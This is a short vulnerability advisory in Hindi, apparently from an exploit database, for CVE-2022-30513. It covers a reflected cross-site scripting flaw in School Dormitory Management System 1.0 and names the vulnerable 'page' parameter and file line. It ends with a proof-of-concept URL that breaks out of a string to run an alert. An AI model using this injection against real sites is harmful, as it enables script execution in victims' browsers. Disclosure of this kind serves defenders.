CVE-2022-30513

स्कूल डॉर्मिटरी मैनेजमेंट सिस्टम 1.0 - रिफ्लेक्टेड XSS

एक्सप्लॉइट शीर्षक: स्कूल डॉर्मिटरी मैनेजमेंट सिस्टम 1.0 - रिफ्लेक्टेड XSS

दिनांक: 2022-05-25

CVE: CVE-2022-30513

एक्सप्लॉइट लेखक: Abdulaziz Saad (@b4zb0z)

विक्रेता होमपेज: https://www.sourcecodester.com/

सॉफ़्टवेयर लिंक: https://www.sourcecodester.com/php/15319/school-dormitory-management-system-phpoop-free-source-code.html

संस्करण: 1.0

परीक्षित: LAMP, Ubuntu

---

[#] भेद्यता स्थान:

$_GET['page'] /dms/admin/inc/navigation.php:125 में

---

[#] शोषण :

http://localhost/dms/admin/?page=%27;%20alert(%22b4zb0z%22);%20s=%27